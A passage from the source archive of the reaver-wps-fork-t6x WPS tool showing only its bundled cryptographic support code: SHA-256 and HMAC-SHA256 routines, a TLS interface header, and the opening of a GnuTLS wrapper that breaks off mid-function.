512-bits */ static int sha256_compress(struct sha256_state *md, unsigned char *buf) { u32 S[8], W[64], t0, t1; u32 t; int i; /* copy state into S */ for (i = 0; i < 8; i++) { S[i] = md->state[i]; } /* copy the state into 512-bits into W[0..15] */ for (i = 0; i < 16; i++) W[i] = WPA_GET_BE32(buf + (4 * i)); /* fill W[16..63] */ for (i = 16; i < 64; i++) { W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; } /* Compress */ #define RND(a,b,c,d,e,f,g,h,i) \ t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ t1 = Sigma0(a) + Maj(a, b, c); \ d += t0; \ h = t0 + t1; for (i = 0; i < 64; ++i) { RND(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i); t = S[7]; S[7] = S[6]; S[6] = S[5]; S[5] = S[4]; S[4] = S[3]; S[3] = S[2]; S[2] = S[1]; S[1] = S[0]; S[0] = t; } /* feedback */ for (i = 0; i < 8; i++) { md->state[i] = md->state[i] + S[i]; } return 0; } /* Initialize the hash state */ static void sha256_init(struct sha256_state *md) { md->curlen = 0; md->length = 0; md->state[0] = 0x6A09E667UL; md->state[1] = 0xBB67AE85UL; md->state[2] = 0x3C6EF372UL; md->state[3] = 0xA54FF53AUL; md->state[4] = 0x510E527FUL; md->state[5] = 0x9B05688CUL; md->state[6] = 0x1F83D9ABUL; md->state[7] = 0x5BE0CD19UL; } /** Process a block of memory though the hash @param md The hash state @param in The data to hash @param inlen The length of the data (octets) @return CRYPT_OK if successful */ static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen) { unsigned long n; #define block_size 64 if (md->curlen > sizeof(md->buf)) return -1; while (inlen > 0) { if (md->curlen == 0 && inlen >= block_size) { if (sha256_compress(md, (unsigned char *) in) < 0) return -1; md->length += block_size * 8; in += block_size; inlen -= block_size; } else { n = MIN(inlen, (block_size - md->curlen)); os_memcpy(md->buf + md->curlen, in, n); md->curlen += n; in += n; inlen -= n; if (md->curlen == block_size) { if (sha256_compress(md, md->buf) < 0) return -1; md->length += 8 * block_size; md->curlen = 0; } } } return 0; } /** Terminate the hash to get the digest @param md The hash state @param out [out] The destination of the hash (32 bytes) @return CRYPT_OK if successful */ static int sha256_done(struct sha256_state *md, unsigned char *out) { int i; if (md->curlen >= sizeof(md->buf)) return -1; /* increase the length of the message */ md->length += md->curlen * 8; /* append the '1' bit */ md->buf[md->curlen++] = (unsigned char) 0x80; /* if the length is currently above 56 bytes we append zeros * then compress. Then we can fall back to padding zeros and length * encoding like normal. */ if (md->curlen > 56) { while (md->curlen < 64) { md->buf[md->curlen++] = (unsigned char) 0; } sha256_compress(md, md->buf); md->curlen = 0; } /* pad upto 56 bytes of zeroes */ while (md->curlen < 56) { md->buf[md->curlen++] = (unsigned char) 0; } /* store length */ WPA_PUT_BE64(md->buf + 56, md->length); sha256_compress(md, md->buf); /* copy output */ for (i = 0; i < 8; i++) WPA_PUT_BE32(out + (4 * i), md->state[i]); return 0; } /* ===== end - public domain SHA256 implementation ===== */ reaver-wps-fork-t6x-1.6.6/src/crypto/sha256.c000077500000000000000000000077711363372615500206120ustar00rootroot00000000000000/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" /** * hmac_sha256_vector - HMAC-SHA256 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (32 bytes) */ void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[32]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return; } /* if key is longer than 64 bytes reset it to key = SHA256(key) */ if (key_len > 64) { sha256_vector(1, &key, &key_len, tk); key = tk; key_len = 32; } /* the HMAC_SHA256 transform looks like: * * SHA256(K XOR opad, SHA256(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA256 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } sha256_vector(1 + num_elem, _addr, _len, mac); os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA256 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA256_MAC_LEN; sha256_vector(2, _addr, _len, mac); } /** * hmac_sha256 - HMAC-SHA256 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) */ void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha256_prf - SHA256-based Pseudo-Random Function (IEEE 802.11r, 8.5.1.5.2) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * * This function is used to derive new, cryptographically separate keys from a * given key. */ void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u16 counter = 1; size_t pos, plen; u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; u8 counter_le[2], length_le[2]; addr[0] = counter_le; len[0] = 2; addr[1] = (u8 *) label; len[1] = os_strlen(label); addr[2] = data; len[2] = data_len; addr[3] = length_le; len[3] = sizeof(length_le); WPA_PUT_LE16(length_le, buf_len * 8); pos = 0; while (pos < buf_len) { plen = buf_len - pos; WPA_PUT_LE16(counter_le, counter); if (plen >= SHA256_MAC_LEN) { hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]); pos += SHA256_MAC_LEN; } else { hmac_sha256_vector(key, key_len, 4, addr, len, hash); os_memcpy(&buf[pos], hash, plen); break; } counter++; } } reaver-wps-fork-t6x-1.6.6/src/crypto/sha256.h000077500000000000000000000015561363372615500206120ustar00rootroot00000000000000/* * SHA256 hash implementation and interface functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA256_H #define SHA256_H #define SHA256_MAC_LEN 32 void hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); void hmac_sha256(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); void sha256_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); #endif /* SHA256_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/tls.h000077500000000000000000000501031363372615500203740ustar00rootroot00000000000000/* * SSL/TLS interface definition * Copyright (c) 2004-2010, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLS_H #define TLS_H struct tls_connection; struct tls_keys { const u8 *master_key; /* TLS master secret */ size_t master_key_len; const u8 *client_random; size_t client_random_len; const u8 *server_random; size_t server_random_len; const u8 *inner_secret; /* TLS/IA inner secret */ size_t inner_secret_len; }; enum tls_event { TLS_CERT_CHAIN_FAILURE, TLS_PEER_CERTIFICATE }; /* * Note: These are used as identifier with external programs and as such, the * values must not be changed. */ enum tls_fail_reason { TLS_FAIL_UNSPECIFIED = 0, TLS_FAIL_UNTRUSTED = 1, TLS_FAIL_REVOKED = 2, TLS_FAIL_NOT_YET_VALID = 3, TLS_FAIL_EXPIRED = 4, TLS_FAIL_SUBJECT_MISMATCH = 5, TLS_FAIL_ALTSUBJECT_MISMATCH = 6, TLS_FAIL_BAD_CERTIFICATE = 7, TLS_FAIL_SERVER_CHAIN_PROBE = 8 }; union tls_event_data { struct { int depth; const char *subject; enum tls_fail_reason reason; const char *reason_txt; const struct wpabuf *cert; } cert_fail; struct { int depth; const char *subject; const struct wpabuf *cert; const u8 *hash; size_t hash_len; } peer_cert; }; struct tls_config { const char *opensc_engine_path; const char *pkcs11_engine_path; const char *pkcs11_module_path; int fips_mode; void (*event_cb)(void *ctx, enum tls_event ev, union tls_event_data *data); void *cb_ctx; }; #define TLS_CONN_ALLOW_SIGN_RSA_MD5 BIT(0) #define TLS_CONN_DISABLE_TIME_CHECKS BIT(1) /** * struct tls_connection_params - Parameters for TLS connection * @ca_cert: File or reference name for CA X.509 certificate in PEM or DER * format * @ca_cert_blob: ca_cert as inlined data or %NULL if not used * @ca_cert_blob_len: ca_cert_blob length * @ca_path: Path to CA certificates (OpenSSL specific) * @subject_match: String to match in the subject of the peer certificate or * %NULL to allow all subjects * @altsubject_match: String to match in the alternative subject of the peer * certificate or %NULL to allow all alternative subjects * @client_cert: File or reference name for client X.509 certificate in PEM or * DER format * @client_cert_blob: client_cert as inlined data or %NULL if not used * @client_cert_blob_len: client_cert_blob length * @private_key: File or reference name for client private key in PEM or DER * format (traditional format (RSA PRIVATE KEY) or PKCS#8 (PRIVATE KEY) * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @dh_file: File name for DH/DSA data in PEM format, or %NULL if not used * @dh_blob: dh_file as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * @engine: 1 = use engine (e.g., a smartcard) for private key operations * (this is OpenSSL specific for now) * @engine_id: engine id string (this is OpenSSL specific for now) * @ppin: pointer to the pin variable in the configuration * (this is OpenSSL specific for now) * @key_id: the private key's id when using engine (this is OpenSSL * specific for now) * @cert_id: the certificate's id when using engine * @ca_cert_id: the CA certificate's id when using engine * @tls_ia: Whether to enable TLS/IA (for EAP-TTLSv1) * @flags: Parameter options (TLS_CONN_*) * * TLS connection parameters to be configured with tls_connection_set_params() * and tls_global_set_params(). * * Certificates and private key can be configured either as a reference name * (file path or reference to certificate store) or by providing the same data * as a pointer to the data in memory. Only one option will be used for each * field. */ struct tls_connection_params { const char *ca_cert; const u8 *ca_cert_blob; size_t ca_cert_blob_len; const char *ca_path; const char *subject_match; const char *altsubject_match; const char *client_cert; const u8 *client_cert_blob; size_t client_cert_blob_len; const char *private_key; const u8 *private_key_blob; size_t private_key_blob_len; const char *private_key_passwd; const char *dh_file; const u8 *dh_blob; size_t dh_blob_len; int tls_ia; /* OpenSSL specific variables */ int engine; const char *engine_id; const char *pin; const char *key_id; const char *cert_id; const char *ca_cert_id; unsigned int flags; }; /** * tls_init - Initialize TLS library * @conf: Configuration data for TLS library * Returns: Context data to be used as tls_ctx in calls to other functions, * or %NULL on failure. * * Called once during program startup and once for each RSN pre-authentication * session. In other words, there can be two concurrent TLS contexts. If global * library initialization is needed (i.e., one that is shared between both * authentication types), the TLS library wrapper should maintain a reference * counter and do global initialization only when moving from 0 to 1 reference. */ void * tls_init(const struct tls_config *conf); /** * tls_deinit - Deinitialize TLS library * @tls_ctx: TLS context data from tls_init() * * Called once during program shutdown and once for each RSN pre-authentication * session. If global library deinitialization is needed (i.e., one that is * shared between both authentication types), the TLS library wrapper should * maintain a reference counter and do global deinitialization only when moving * from 1 to 0 references. */ void tls_deinit(void *tls_ctx); /** * tls_get_errors - Process pending errors * @tls_ctx: TLS context data from tls_init() * Returns: Number of found error, 0 if no errors detected. * * Process all pending TLS errors. */ int tls_get_errors(void *tls_ctx); /** * tls_connection_init - Initialize a new TLS connection * @tls_ctx: TLS context data from tls_init() * Returns: Connection context data, conn for other function calls */ struct tls_connection * tls_connection_init(void *tls_ctx); /** * tls_connection_deinit - Free TLS connection data * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Release all resources allocated for TLS connection. */ void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_established - Has the TLS connection been completed? * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if TLS connection has been completed, 0 if not. */ int tls_connection_established(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_shutdown - Shutdown TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * Shutdown current TLS connection without releasing all resources. New * connection can be started by using the same conn without having to call * tls_connection_init() or setting certificates etc. again. The new * connection should try to use session resumption. */ int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn); enum { TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED = -3, TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED = -2 }; /** * tls_connection_set_params - Set TLS connection parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @params: Connection parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params); /** * tls_global_set_params - Set TLS parameters for all TLS connection * @tls_ctx: TLS context data from tls_init() * @params: Global TLS parameters * Returns: 0 on success, -1 on failure, * TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED (-2) on possible PIN error causing * PKCS#11 engine failure, or * TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED (-3) on failure to verify the * PKCS#11 engine private key. */ int __must_check tls_global_set_params( void *tls_ctx, const struct tls_connection_params *params); /** * tls_global_set_verify - Set global certificate verification options * @tls_ctx: TLS context data from tls_init() * @check_crl: 0 = do not verify CRLs, 1 = verify CRL for the user certificate, * 2 = verify CRL for all certificates * Returns: 0 on success, -1 on failure */ int __must_check tls_global_set_verify(void *tls_ctx, int check_crl); /** * tls_connection_set_verify - Set certificate verification options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @verify_peer: 1 = verify peer certificate * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer); /** * tls_connection_set_ia - Set TLS/IA parameters * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @tls_ia: 1 = enable TLS/IA * Returns: 0 on success, -1 on failure * * This function is used to configure TLS/IA in server mode where * tls_connection_set_params() is not used. */ int __must_check tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia); /** * tls_connection_get_keys - Get master key and random data from TLS connection * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys); /** * tls_connection_prf - Use TLS-PRF to derive keying material * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure * * This function is optional to implement if tls_connection_get_keys() provides * access to master secret and server/client random values. If these values are * not exported from the TLS library, tls_connection_prf() is required so that * further keying material can be derived from the master secret. If not * implemented, the function will still need to be defined, but it can just * return -1. Example implementation of this function is in tls_prf() function * when it is called with seed set to client_random|server_random (or * server_random|client_random). */ int __must_check tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len); /** * tls_connection_handshake - Process TLS handshake (client side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS server * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. If the final * handshake message includes application data, this is decrypted and * appl_data (if not %NULL) is set to point this data. The caller is * responsible for freeing appl_data. * * This function is used during TLS handshake. The first call is done with * in_data == %NULL and the library is expected to return ClientHello packet. * This packet is then send to the server and a response from server is given * to TLS library by calling this function again with in_data pointing to the * TLS message from the server. * * If the TLS handshake fails, this function may return %NULL. However, if the * TLS library has a TLS alert to send out, that should be returned as the * output data. In this case, tls_connection_get_failed() must return failure * (> 0). * * tls_connection_established() should return 1 once the TLS handshake has been * completed successfully. */ struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_server_handshake - Process TLS handshake (server side) * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Input data from TLS peer * @appl_data: Pointer to application data pointer, or %NULL if dropped * Returns: Output data, %NULL on failure * * The caller is responsible for freeing the returned output data. */ struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data); /** * tls_connection_encrypt - Encrypt data into TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Plaintext data to be encrypted * Returns: Encrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. The caller is responsible for freeing the * returned output data. */ struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_decrypt - Decrypt data from TLS tunnel * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @in_data: Encrypted TLS data * Returns: Decrypted TLS data or %NULL on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. The caller is responsible for * freeing the returned output data. */ struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data); /** * tls_connection_resumed - Was session resumption used * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if current session used session resumption, 0 if not */ int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn); enum { TLS_CIPHER_NONE, TLS_CIPHER_RC4_SHA /* 0x0005 */, TLS_CIPHER_AES128_SHA /* 0x002f */, TLS_CIPHER_RSA_DHE_AES128_SHA /* 0x0031 */, TLS_CIPHER_ANON_DH_AES128_SHA /* 0x0034 */ }; /** * tls_connection_set_cipher_list - Configure acceptable cipher suites * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers); /** * tls_get_cipher - Get current cipher name * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int __must_check tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen); /** * tls_connection_enable_workaround - Enable TLS workaround options * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 0 on success, -1 on failure * * This function is used to enable connection-specific workaround options for * buffer SSL/TLS implementations. */ int __must_check tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_client_hello_ext - Set TLS extension for ClientHello * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len); /** * tls_connection_get_failed - Get connection failure status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * * Returns >0 if connection has failed, 0 if not. */ int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_read_alerts - Get connection read alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal read (remote end reported error) has * happened during this connection. */ int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_write_alerts - Get connection write alert status * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Number of times a fatal write (locally detected error) has happened * during this connection. */ int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn); /** * tls_connection_get_keyblock_size - Get TLS key_block size * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn); #define TLS_CAPABILITY_IA 0x0001 /* TLS Inner Application (TLS/IA) */ /** * tls_capabilities - Get supported TLS capabilities * @tls_ctx: TLS context data from tls_init() * Returns: Bit field of supported TLS capabilities (TLS_CAPABILITY_*) */ unsigned int tls_capabilities(void *tls_ctx); /** * tls_connection_ia_send_phase_finished - Send a TLS/IA PhaseFinished message * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @final: 1 = FinalPhaseFinished, 0 = IntermediatePhaseFinished * Returns: Encrypted TLS/IA data, %NULL on failure * * This function is used to send the TLS/IA end phase message, e.g., when the * EAP server completes EAP-TTLSv1. */ struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); /** * tls_connection_ia_final_phase_finished - Has final phase been completed * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * Returns: 1 if valid FinalPhaseFinished has been received, 0 if not, or -1 * on failure */ int __must_check tls_connection_ia_final_phase_finished( void *tls_ctx, struct tls_connection *conn); /** * tls_connection_ia_permute_inner_secret - Permute TLS/IA inner secret * @tls_ctx: TLS context data from tls_init() * @conn: Connection context data from tls_connection_init() * @key: Session key material (session_key vectors with 2-octet length), or * %NULL if no session key was generating in the current phase * @key_len: Length of session key material * Returns: 0 on success, -1 on failure */ int __must_check tls_connection_ia_permute_inner_secret( void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len); typedef int (*tls_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); int __must_check tls_connection_set_session_ticket_cb( void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx); #endif /* TLS_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/tls_gnutls.c000077500000000000000000001070001363372615500217620ustar00rootroot00000000000000/* * SSL/TLS interface functions for GnuTLS * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #ifdef PKCS12_FUNCS #include #endif /* PKCS12_FUNCS */ #ifdef CONFIG_GNUTLS_EXTRA #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 #define GNUTLS_IA #include #if LIBGNUTLS_VERSION_NUMBER == 0x010302 /* This function is not included in the current gnutls/extra.h even though it * should be, so define it here as a workaround for the time being. */ int gnutls_ia_verify_endphase(gnutls_session_t session, char *checksum); #endif /* LIBGNUTLS_VERSION_NUMBER == 0x010302 */ #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* CONFIG_GNUTLS_EXTRA */ #include "common.h" #include "tls.h" #ifndef TLS_RANDOM_SIZE #define TLS_RANDOM_SIZE 32 #endif #ifndef TLS_MASTER_SIZE #define TLS_MASTER_SIZE 48 #endif #if LIBGNUTLS_VERSION_NUMBER < 0x010302 /* GnuTLS 1.3.2 added functions for using master secret. Older versions require * use of internal structures to get the master_secret and * {server,client}_random. */ #define GNUTLS_INTERNAL_STRUCTURE_HACK #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* * It looks like gnutls does not provide access to client/server_random and * master_key. This is somewhat unfortunate since these are needed for key * derivation in EAP-{TLS,TTLS,PEAP,FAST}. Workaround for now is a horrible * hack that copies the gnutls_session_int definition from gnutls_int.h so that * we can get the needed information. */ typedef u8 uint8; typedef unsigned char opaque; typedef struct { uint8 suite[2]; } cipher_suite_st; typedef struct { gnutls_connection_end_t entity; gnutls_kx_algorithm_t kx_algorithm; gnutls_cipher_algorithm_t read_bulk_cipher_algorithm; gnutls_mac_algorithm_t read_mac_algorithm; gnutls_compression_method_t read_compression_algorithm; gnutls_cipher_algorithm_t write_bulk_cipher_algorithm; gnutls_mac_algorithm_t write_mac_algorithm; gnutls_compression_method_t write_compression_algorithm; cipher_suite_st current_cipher_suite; opaque master_secret[TLS_MASTER_SIZE]; opaque client_random[TLS_RANDOM_SIZE]; opaque server_random[TLS_RANDOM_SIZE]; /* followed by stuff we are not interested in */ } security_parameters_st; struct gnutls_session_int { security_parameters_st security_parameters; /* followed by things we are not interested in */ }; #endif /* LIBGNUTLS_VERSION_NUMBER < 0x010302 */ static int tls_gnutls_ref_count = 0; struct tls_global { /* Data for session resumption */ void *session_data; size_t session_data_size; int server; int params_set; gnutls_certificate_credentials_t xcred; }; struct tls_connection { gnutls_session session; char *subject_match, *altsubject_match; int read_alerts, write_alerts, failed; u8 *pre_shared_secret; size_t pre_shared_secret_len; int established; int verify_peer; struct wpabuf *push_buf; struct wpabuf *pull_buf; const u8 *pull_buf_offset; int params_set; gnutls_certificate_credentials_t xcred; int tls_ia; int final_phase_finished; #ifdef GNUTLS_IA gnutls_ia_server_credentials_t iacred_srv; gnutls_ia_client_credentials_t iacred_cli; /* Session keys generated in the current phase for inner secret * permutation before generating/verifying PhaseFinished. */ u8 *session_keys; size_t session_keys_len; u8 inner_secret[TLS_MASTER_SIZE]; #endif /* GNUTLS_IA */ }; static void tls_log_func(int level, const char *msg) { char *s, *pos; if (level == 6 || level == 7) { /* These levels seem to be mostly I/O debug and msg dumps */ return; } s = os_strdup(msg); if (s == NULL) return; pos = s; while (*pos != '\0') { if (*pos == '\n') { *pos = '\0'; break; } pos++; } wpa_printf(level > 3 ? MSG_MSGDUMP : MSG_DEBUG, "gnutls<%d> %s", level, s); os_free(s); } extern int wpa_debug_show_keys; void * tls_init(const struct tls_config *conf) { struct tls_global *global; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK /* Because of the horrible hack to get master_secret and client/server * random, we need to make sure that the gnutls version is something * that is expected to have same structure definition for the session * data.. */ const char *ver; const char *ok_ver[] = { "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.2.9", "1.3.2", NULL }; int i; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (tls_gnutls_ref_count == 0 && gnutls_global_init() < 0) { os_free(global); return NULL; } tls_gnutls_ref_count++; #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK ver = gnutls_check_version(NULL); if (ver == NULL) { tls_deinit(global); return NULL; } wpa_printf(MSG_DEBUG, "%s - gnutls version %s", __func__, ver); for (i = 0; ok_ver[i]; i++) { if (strcmp(ok_ver[i], ver) == 0) break; } if (ok_ver[i] == NULL) { wpa_printf(MSG_INFO, "Untested gnutls version %s - this needs " "to be tested and enabled in tls_gnutls.c", ver); tls_deinit(global); return NULL; } #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ gnutls_global_set_log_function(tls_log_func); if (wpa_debug_show_keys) gnutls_global_set_log_level(11); return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global) { if (global->params_set) gnutls_certificate_free_credentials(global->xcred); os_free(global->session_data); os_free(global); } tls_gnutls_ref_count--; if (tls_gnutls_ref_count == 0) gnutls_global_deinit(); } int tls_get_errors(void *ssl_ctx) { return 0; } static ssize_t tls_pull_func(gnutls_transport_ptr ptr, void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; const u8 *end; if (conn->pull_buf == NULL) { errno = EWOULDBLOCK; return -1; } end = wpabuf_head_u8(conn->pull_buf) + wpabuf_len(conn->pull_buf); if ((size_t) (end - conn->pull_buf_offset) < len) len = end - conn->pull_buf_offset; os_memcpy(buf, conn->pull_buf_offset, len); conn->pull_buf_offset += len; if (conn->pull_buf_offset == end) { wpa_printf(MSG_DEBUG, "%s - pull_buf consumed", __func__); wpabuf_free(conn->pull_buf); conn->pull_buf = NULL; conn->pull_buf_offset = NULL; } else { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in pull_buf", __func__, (unsigned long) (end - conn->pull_buf_offset)); } return len; } static ssize_t tls_push_func(gnutls_transport_ptr ptr, const void *buf, size_t len) { struct tls_connection *conn = (struct tls_connection *) ptr; if (wpabuf_resize(&conn->push_buf, len) < 0) { errno = ENOMEM; return -1; } 